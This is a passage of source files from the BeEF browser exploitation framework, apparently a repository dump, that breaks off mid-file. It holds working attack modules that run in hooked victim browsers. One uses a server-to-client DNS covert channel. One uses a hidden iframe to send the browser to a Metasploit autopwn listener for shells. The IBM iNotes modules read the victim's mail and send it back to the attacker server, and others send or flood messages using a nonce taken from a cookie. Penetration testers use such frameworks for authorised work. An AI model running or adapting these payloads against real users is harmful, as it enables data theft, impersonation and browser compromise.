(\"\" + msg.toString(16)).substr(-8);\n        // Set the bit number (hex)\n        bit_str = (\"\" + bit.toString(16)).substr(-8);\n        // Build the subdomain\n        subdomain = \"_ldap._tcp.\" + rnd8 + \"-\" + msg_str + \"-\" + cid + \"-\" + bit_str + \"-\" + rnd12;\n        // Build the full domain\n        name = subdomain + '.domains._msdcs.'+ domain;\n        send_query(name, msg, byte, bit)\n        }\n  }\n\n  // Construct random string\n  function getRandomStr(n){\n    return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));\n  }\n\n  // Build the environment and request the message\n  function get_message(msg) {\n    // Set variables for getting a message\n    messages[msg] = \"\";\n    bits[msg] = new Array();\n    bit_transfered[msg] = new Array();\n    timing[msg] = (new Date()).getTime();\n    get_byte(msg, 0);\n  }\n\n  // Build the data returned from the binary results\n  function reconstruct_byte(msg, byte){\n    var char = 0;\n    // Build the last byte requested\n    for(var bit=byte*8; bit < (byte*8)+8; bit++){\n        char <<= 1;\n        char += bits[msg][bit] ;\n    }\n\n    // Message is terminated with a null byte (all failed DNS requests)\n    if (char != 0) {\n    // The message isn't terminated so get the next byte\n        messages[msg] += String.fromCharCode(char);\n        get_byte(msg, byte+1);\n    }\n    else {\n      // The message is terminated so finish\n      delta = ((new Date()).getTime() - timing[msg])/1000;\n      bytes_per_second = \"\" +\n      ((messages[msg].length + 1) * 8)/delta; \n\n      // Save the message in the Window\n      if (window.hasOwnProperty(payload_name))\n          window[payload_name] = messages[msg]\n      else\n          Object.defineProperty(window,payload_name, {  value: messages[msg],\n                                                        writable: true,\n                                                        enumerable: false });\n \n      beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);\n\n    } \n  }\n  get_message(0);  \n});\n"
  },
  {
    "path": "modules/ipec/s2c_dns_tunnel/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        s2c_dns_tunnel:\n            enable: true\n            category: \"IPEC\"\n            name: \"DNS Tunnel: Server-to-Client\"\n            description: \"This module retrieves data sent by the server over DNS covert channel (DNS tunnel).<br/><br/> A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/>Note: To use this feature you should enable S2C DNS Tunnel extension.\"\n            authors: [\"dnkolegov\"]\n            target:\n                working: \"All\""
  },
  {
    "path": "modules/ipec/s2c_dns_tunnel/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass S2c_dns_tunnel < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    zone = @configuration.get('beef.extension.s2c_dns_tunnel.zone')\n    [\n      { 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload' },\n      { 'name' => 'zone', 'ui_label' => 'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone },\n      { 'name' => 'data', 'ui_label' => 'Message', 'type' => 'textarea',\n        'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' \\\n                   'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' \\\n                   'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' \\\n                   'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' \\\n                   'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',\n        'width' => '400px', 'height' => '100px' }\n    ]\n  end\n\n  def pre_send\n    @configuration = BeEF::Core::Configuration.instance\n    enable = @configuration.get('beef.extension.s2c_dns_tunnel.enable')\n    raise ArgumentError, 's2c_dns_tunnel extension is disabled' if enable != true\n\n    # gets the value configured in the module configuration by the user\n    @datastore.each do |input|\n      @data = input['value'] if input['name'] == 'data'\n    end\n\n    BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i, @data.unpack1('B*'))\n  end\n\n  def post_execute\n    # gets the value of command_id from BeEF database and delete the message from DNS \"database\"\n    cid = @datastore['cid'].to_i\n    BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid)\n  end\nend\n"
  },
  {
    "path": "modules/metasploit/browser_autopwn/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar url = '<%= @sploit_url %>';\n\tif (!/https?:\\/\\//i.test(url)) {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"error=invalid url\");\n\t\treturn;\n\t}\n\tvar sploit = beef.dom.createInvisibleIframe();\n        sploit.src = url;\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=IFrame Created!\");\n});\n"
  },
  {
    "path": "modules/metasploit/browser_autopwn/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        browser_autopwn:\n            enable: false\n            category: \"Metasploit\"\n            name: \"Browser AutoPwn\"\n            description: \"This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells.  If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener.  Otherwise, enter the URL you would like the user to be redirected to.\"\n            authors: [\"sussurro\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/metasploit/browser_autopwn/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Browser_autopwn < BeEF::Core::Command\n  def self.options\n    @conf = BeEF::Core::Configuration.instance\n    @uri = 'Enter AutoPwn URL Here'\n\n    if @conf.get('beef.extension.metasploit.enable')\n      host = @conf.get('beef.extension.metasploit.callback_host')\n      url = @conf.get('beef.extension.metasploit.autopwn_url')\n      @uri = \"http://#{host}:8080/#{url}\"\n    end\n\n    [\n      { 'name' => 'sploit_url', 'description' => 'The URL to exploit', 'ui_label' => 'Listener URL', 'value' => @uri, 'width' => '200px' }\n    ]\n  end\n\n  # This method is being called when a hooked browser sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/blockui/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var timeout = '<%= @timeout %>' * 1000;\n\n  var blockui = function() {\n    $j.blockUI({ message: decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@message) %>')) });\n    setTimeout(\"$j.unblockUI();\", <%= @timeout %> * 1000);\n  }\n\n  blockui();\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');\n\n});\n\n"
  },
  {
    "path": "modules/misc/blockui/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        blockui:\n            enable: true\n            category: \"Misc\"\n            name: \"BlockUI Modal Dialog\"\n            description: \"This module uses jQuery <a href='https://github.com/malsup/blockui/'>BlockUI</a> to block the window and display a message.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/misc/blockui/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Blockui < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea', 'value' => '<p>Please wait while your data is being saved...</p>', 'width' => '400px',\n        'height' => '100px' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30', 'width' => '400px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/misc/ibm_inotes/extract_inotes_list/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar startdate = '<%= @startdate %>';\n\tvar enddate = '<%= @endddate %>';\n\tvar count = '<%= @count %>';\n\t\n\t//get URL for this nsf databse\n\tvar currentURL = document.URL;\n\tvar rx = /(.*\\.nsf)/g;\n\tvar arr = rx.exec(currentURL);\n\n\ttry {\n\t\tvar notesURL = arr[1];\n\t\tvar xhr = new XMLHttpRequest();\n        xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true);\n        xhr.onreadystatechange = function () {\n        \tif (xhr.readyState == 4 && xhr.status == 200) {\n               \t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+xhr.response);\n            \t} else {\n\t\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Error: \"+xhr.status);\n\t\t\t\t}\n        }\n        xhr.send(null);\n\t} catch(e) {\n\t\tbeef.debug(\"Error: \" + e);\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Error: \"+e);\n\t}\n\t\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/ibm_inotes/extract_inotes_list/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        extract_inotes_list:\n            enable: true\n            category: [\"Misc\", \"IBM iNotes\"]\n            name: \"Extract iNotes list\"\n            description: \"If you have access to the origin of a victims IBM iNotes, you can use this module to extract a list of notes.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/ibm_inotes/extract_inotes_list/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Extract_inotes_list < BeEF::Core::Command\n  def self.options\n    [\n      { 'type' => 'label', 'name' => 'name', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },\n      { 'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101' },\n      { 'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101' },\n      { 'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/ibm_inotes/inotes_flooder/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar to = \"<%= CGI::escape(@to) %>\";\n\tvar subject = \"<%= CGI::escape(@subject) %>\";\n\tvar body = \"<%= CGI::escape(@body) %>\";\n\tvar delay = \"<% @delay %>\";\n\n\t//get URL for this nsf databse\n\tvar currentURL = document.URL;\n\tvar rx = /(.*\\.nsf)/g;\n\tvar arr = rx.exec(currentURL);\n\n\ttry {\n\t\tvar notesURL = arr[1];\n\t\t\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');\n\t\n\t\t(function flood() {\n\t\t\t//extract nonce from ShimmerS-cookie\n\t\t\t\tvar cookies = document.cookie;\n\t\t\t\tvar rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;\n\t\t\t\tvar arrc = rxc.exec(cookies);\n\t\t\t\tvar xhr = new XMLHttpRequest();\n\t\t\t\tvar uri = notesURL + \"/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form\";\n\t\t\t\txhr.open(\"POST\", uri, true);\n\t\t\t\txhr.withCredentials = true;\n\t\t\t\txhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\t\t\t\tvar post_data = \"%25%25Nonce=\"+nonce+\"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo=\"+to+\"&CopyTo=&BlindCopyTo=&Body=\"+body+\"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject=\"+subject;\n\t\n\t\t\t\txhr.send(post_data);\n\t\n\t\t\t\tsetTimeout( flood, delay );\n\t\t})();\n\n\t} catch(e) {\n\t\tbeef.debug(\"[IBM Notes Flooder] Error: \" + e);\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Flooder failed. Error: ' + e);\n\n\t}\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/ibm_inotes/inotes_flooder/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        inotes_flooder:\n            enable: true\n            category: [\"Misc\",\"IBM iNotes\"]\n            name: \"Flooder\"\n            description: \"If you have access to the origin of a victims IBM iNotes, you can use this module to flood notes to someone.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/ibm_inotes/inotes_flooder/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Inotes_flooder < BeEF::Core::Command\n  def self.options\n    [\n      { 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },\n      { 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },\n      { 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },\n      { 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },\n      { 'type' => 'textfield', 'name' => 'delay', 'ui_label' => 'Delay (ms)', 'value' => '100' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/ibm_inotes/read_inotes/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar unid = '<%= @unid %>';\n\t\n\t//get URL for this nsf databse\n\tvar currentURL = document.URL;\n\tvar rx = /(.*\\.nsf)/g;\n\tvar arr = rx.exec(currentURL);\n\ntry {\n\tvar notesURL = arr[1];\n\t\n\tvar xhr = new XMLHttpRequest();\n\txhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true);\n\txhr.onreadystatechange = function () {\n\t\tif (xhr.readyState == 4 && xhr.status == 200) {\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+xhr.response);\n\t\t}\n\t}\n\txhr.send(null);\n} catch(e) {\n\tbeef.debug(\"Error: \" + e);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Read iNotes Error: \"+e);\n}\n\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/ibm_inotes/read_inotes/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        read_inotes:\n            enable: true\n            category: [\"Misc\", \"IBM iNotes\"]\n            name: \"Read iNotes\"\n            description: \"If you have access to the origin of a victims IBM iNotes, you can use this module to read a note.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/ibm_inotes/read_inotes/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Read_inotes < BeEF::Core::Command\n  def self.options\n    [\n      { 'type' => 'label', 'name' => 'name', 'html' => 'Provide unid to retrieve details of a Note:' },\n      { 'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar to = \"<%= CGI::escape(@to) %>\";\n\tvar subject = \"<%= CGI::escape(@subject) %>\";\n\tvar body = \"<%= CGI::escape(@body) %>\";\n\n\t//get URL for this nsf databse\n\tvar currentURL = document.URL;\n\tvar rx = /(.*\\.nsf)/g;\n\tvar arr = rx.exec(currentURL);\n\n\ttry {\n\t\tvar notesURL = arr[1];\n\t\n\t\t//extract nonce from ShimmerS-cookie\n\t\tvar cookies = document.cookie;\n\t\tvar rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;\n\t\tvar arrc = rxc.exec(cookies);\n\t\tvar nonce = arrc[1];\n\t\t\n\t\tvar xhr = new XMLHttpRequest();\n\t\tvar uri = notesURL + \"/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form\";\n\t\txhr.open(\"POST\", uri, true);\n\t\txhr.withCredentials = true;\n\t\txhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\t\tvar post_data = \"%25%25Nonce=\"+nonce+\"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo=\"+to+\"&CopyTo=&BlindCopyTo=&Body=\"+body+\"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject=\"+subject;\n\t\n\t\txhr.send(post_data);\n\t\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');\n\t} catch(e) {\n\t\tbeef.debug(\"Error: \" + e);\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);\n\t}\n\n});\n\n\n\n\n\n \n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nbeef:\n    module:\n        send_inotes:\n            enable: true\n            category: [\"Misc\", \"IBM iNotes\"]\n            name: \"Send iNotes\"\n            description: \"If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes/module.rb",
    "content": "#\n# Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nclass Send_inotes < BeEF::Core::Command\n  def self.options\n    [\n      { 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone:' },\n      { 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => '' },\n      { 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => '' },\n      { 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/misc/ibm_inotes/send_inotes_with_attachment/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\nbeef.execute(function() {\n\tvar to = \"<%= @to %>\";\n\tvar subject = \"<%= @subject.gsub(/\"/, '\\\\\"').gsub(/\\n/, '\\\\n').gsub(/\\r/, '\\\\r') %>\";\n\tvar body = \"<%= @body.gsub(/\"/, '\\\\\"').gsub(/\\n/, '\\\\n').gsub(/\\r/, '\\\\r') %>\";\n\tvar filename = \"<%= @filename %>\";\n\tvar filedata = \"<%= @filedata %>\";\n\n\t//get URL for this nsf databse\n\tvar currentURL = document.URL;\n\tvar rx = /(.*\\.nsf)/g;\n\n\ttry {\n\t\t\tvar arr = rx.exec(currentURL);\n\t\t\tvar notesURL = arr[1];\n\t\t\n\t\t\t//extract nonce from ShimmerS-cookie\n\t\t\tvar cookies = document.cookie;\n\t\t\tvar rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;\n\t\t\tvar arrc = rxc.exec(cookies);\n\t\t\tvar nonce = arrc[1];\n\t\t\t\n\t\t\tvar xhr = new XMLHttpRequest();\n\t\t\tvar uri = notesURL + \"/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form\";\n\t\t\txhr.open(\"POST\", uri, true);\n\t\t\txhr.withCredentials = true;\n\t\t\n\t\t\tvar boundary = \"---------------------------32162600713994\";\n\t\t\n\t\t\txhr.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=\" + boundary);\n\t\t\n\t\t\n\t\t\tvar post_data = boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"%%Nonce\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += nonce + \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"h_EditAction\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"h_Next\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"h_SetReturnURL\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"[[./&Form=l_CallListener]]\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"h_SetCommand\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"h_ShimmerSendMail\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"h_SetSaveDoc\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"1\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"SendTo\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += to + \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"CopyTo\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"BlindCopyTo\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"Body\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += body + \"\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"MailOptions\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += \"1\\r\\n\";\n\t\t\tpost_data += boundary + \"\\r\\n\";\n\t\t\tpost_data += \"Content-Disposition: form-data; name=\\\"Form\\\"\\r\\n\";\n\t\t\tpost_data += \"\\r\\n\";\n\t\t\tpost_data += 